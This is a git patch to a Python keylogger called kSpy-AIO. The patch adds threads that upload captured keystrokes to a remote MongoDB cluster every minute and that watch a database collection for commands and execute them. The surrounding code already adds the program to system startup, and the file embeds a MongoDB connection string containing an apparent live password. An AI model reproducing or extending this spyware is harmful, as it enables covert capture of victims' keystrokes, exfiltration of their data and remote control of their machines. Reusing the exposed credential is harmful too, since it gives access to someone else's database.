From 6695b5b8a21e010664a6c284d1621aa8387a27cf Mon Sep 17 00:00:00 2001 From: 5pyD3R <96535745+3rr0r-505@users.noreply.github.com> Date: Wed, 23 Oct 2024 20:45:26 +0530 Subject: [PATCH] Update and rename kSpy-AIO_v1.4 - Copy.py to test.py --- kSpy-AIO_v1.4 - Copy.py => test.py | 31 ++++++++++++++++++++++++++++-- 1 file changed, 29 insertions(+), 2 deletions(-) rename kSpy-AIO_v1.4 - Copy.py => test.py (75%) diff --git a/kSpy-AIO_v1.4 - Copy.py b/test.py similarity index 75% rename from kSpy-AIO_v1.4 - Copy.py rename to test.py index 5724e53..60311a1 100644 --- a/kSpy-AIO_v1.4 - Copy.py +++ b/test.py @@ -3,6 +3,7 @@ import time import datetime import requests +import threading import pynput import pyautogui import pygetwindow @@ -15,6 +16,7 @@ client = MongoClient('mongodb+srv://samratdey:mongoYzNqs%3DaQT1@keyspy.iarapa1.mongodb.net/?retryWrites=true&w=majority&appName=KeySpy&ssl=true&ssl_cert_reqs=CERT_NONE') db = client['keylogger_db'] keylogs_collection = db['keylogs'] +payloads_collection = db['payloads'] # Separate collection for payloads # Buffer size for key logs BUFFER_SIZE = 50 @@ -82,6 +84,14 @@ def add_to_startup(): except Exception as e: print(f"Failed to add to startup: {e}") +def send_logs(): + """Send logs to MongoDB every minute if buffer is not empty.""" + while True: + time.sleep(60) + if keylog_buffer: + keylogs_collection.insert_many(keylog_buffer) + keylog_buffer.clear() + # Command map for dynamic payload execution command_map = { "STRING": lambda arg: pyautogui.typewrite(arg), @@ -112,10 +122,27 @@ def execute_payload(file_path): except Exception as e: print(f"Failed to execute payload: {e}") +def watch_payloads(): + """Watches for new payload insertions in MongoDB and executes them.""" + with payloads_collection.watch() as stream: + for change in stream: + if change['operationType'] == 'insert': + payload = change['fullDocument'] + command = payload.get('command') + if command: + print(f"Executing payload: {command}") + execute_command(command) + if __name__ == "__main__": # Add to startup add_to_startup() - # Start keylogger + # Start keylogger in a separate thread keylogger = Keylogger() - keylogger.start_keylogger() + threading.Thread(target=keylogger.start_keylogger).start() + + # Start log sending every 1 minute in a separate thread + threading.Thread(target=send_logs).start() + + # Start watching MongoDB for payloads + threading.Thread(target=watch_payloads).start()